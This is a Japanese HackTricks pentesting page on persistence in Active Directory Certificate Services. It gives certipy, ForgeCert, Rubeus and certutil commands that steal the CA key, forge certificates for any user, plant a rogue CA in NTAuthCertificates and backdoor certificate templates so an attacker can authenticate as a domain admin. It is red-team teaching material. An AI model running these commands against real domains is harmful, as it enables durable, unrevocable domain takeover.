hacktricks/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md

9.6 KiB
Raw Blame History

AD CS ドメイン永続性

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!

HackTricksをサポートする他の方法:

盗まれたCA証明書での証明書偽造 - DPERSIST1

証明書がCA証明書であることをどうやって判断できますか

  • CA証明書はCAサーバー自体に存在し、その秘密鍵はマシンDPAPIによって保護されていますOSがTPM/HSM/その他のハードウェアを保護に使用していない限り)。
  • 証明書のIssuerSubjectは、両方ともCAの識別名に設定されています。
  • CA証明書そしてCA証明書のみには**「CAバージョン」拡張機能**があります。
  • EKUはありません

この証明書の秘密鍵を抽出するためのビルトインGUIサポートされた方法は、CAサーバー上のcertsrv.mscを使用します。
しかし、この証明書はシステムに保存されている他の証明書と違いはありませんので、例えばTHEFT2テクニックをチェックして、それらを抽出する方法を確認してください。

また、certipyを使用して証明書と秘密鍵を取得することもできます:

certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup

一度 CA証明書 とプライベートキーを .pfx 形式で取得したら、有効な証明書を作成するために ForgeCert を使用できます:

# Create new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!

# Create new certificate with certipy
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'

# Use new certificate with Rubeus to authenticate
Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123!

# User new certi with certipy to authenticate
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128

{% hint style="warning" %} 注記: 証明書を偽造する際に指定するユーザーは、AD内でアクティブ/有効であり、認証交換がそのユーザーとして行われるため、認証が可能である必要があります。例えば、krbtgtアカウントの証明書を偽造しようとしても機能しません。 {% endhint %}

この偽造された証明書は、指定された終了日まで有効であり、ルートCA証明書が有効である限り通常は5年から10年以上)有効です。また、マシンに対しても有効なので、S4U2Selfと組み合わせることで、攻撃者はCA証明書が有効である限り、任意のドメインマシンに対する持続性を維持することができます。 さらに、この方法で生成された証明書は、CAがそれらを認識していないため、取り消すことができません

Rogue CA証明書の信頼 - DPERSIST2

オブジェクトNTAuthCertificatesは、そのcacertificate属性に一つ以上のCA証明書を定義し、ADはそれを使用します認証中、ドメインコントローラーは**NTAuthCertificatesオブジェクトが認証中の証明書のIssuerフィールドに指定されたCAのエントリを含んでいるかどうかをチェックします。もし含まれていれば、認証が進行します

攻撃者は、自己署名されたCA証明書を生成し、それを**NTAuthCertificatesオブジェクトに追加することができます。攻撃者がNTAuthCertificates** ADオブジェクトを制御している場合(デフォルトの設定では、エンタープライズ管理者グループのメンバーや、フォレストルートのドメイン内のドメイン管理者または管理者のメンバーのみがこの権限を持っています)、この操作が可能です。権限を持っていれば、certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126を使用して、またはPKI Health Toolを使用して、任意のシステムから**NTAuthCertificatesオブジェクトを編集**することができます。

指定された証明書は、以前に詳細に説明されたForgeCertを使用した偽造方法と連携して動作するはずです。

悪意のある誤設定 - DPERSIST3

AD CSコンポーネントのセキュリティ記述子の変更を通じて、持続性を確保する機会は無数にあります。"ドメインエスカレーション"セクションで説明されているシナリオは、権限を持つ攻撃者によって悪意を持って実装される可能性があります。これには、"制御権"つまり、WriteOwner/WriteDACLなどを以下のような敏感なコンポーネントに追加することが含まれます

  • CAサーバーのADコンピューターオブジェクト
  • CAサーバーのRPC/DCOMサーバー
  • コンテナ**CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>内の任意の子孫ADオブジェクトまたはコンテナー**証明書テンプレートコンテナ、認証局コンテナ、NTAuthCertificatesオブジェクトなど
  • デフォルトまたは現在の組織によってAD CSの制御権を委任されたADグループ組み込みのCert Publishersグループとそのメンバー

例えば、ドメイン内で権限を持つ攻撃者は、攻撃者が権利の主体であるデフォルトの**User証明書テンプレートにWriteOwner権限を追加することができます。これを後で悪用するために、攻撃者はまずUserテンプレートの所有権を自分自身に変更し、次にテンプレート上でmspki-certificate-name-flag1に設定してENROLLEE_SUPPLIES_SUBJECTを有効にしますつまり、ユーザーがリクエストにSubject Alternative Nameを指定できるようにします。その後、攻撃者はテンプレート登録し、代替名としてドメイン管理者**の名前を指定し、DAとして認証に使用するための証明書を使用することができます。

参考文献

AWSのハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!

HackTricksをサポートする他の方法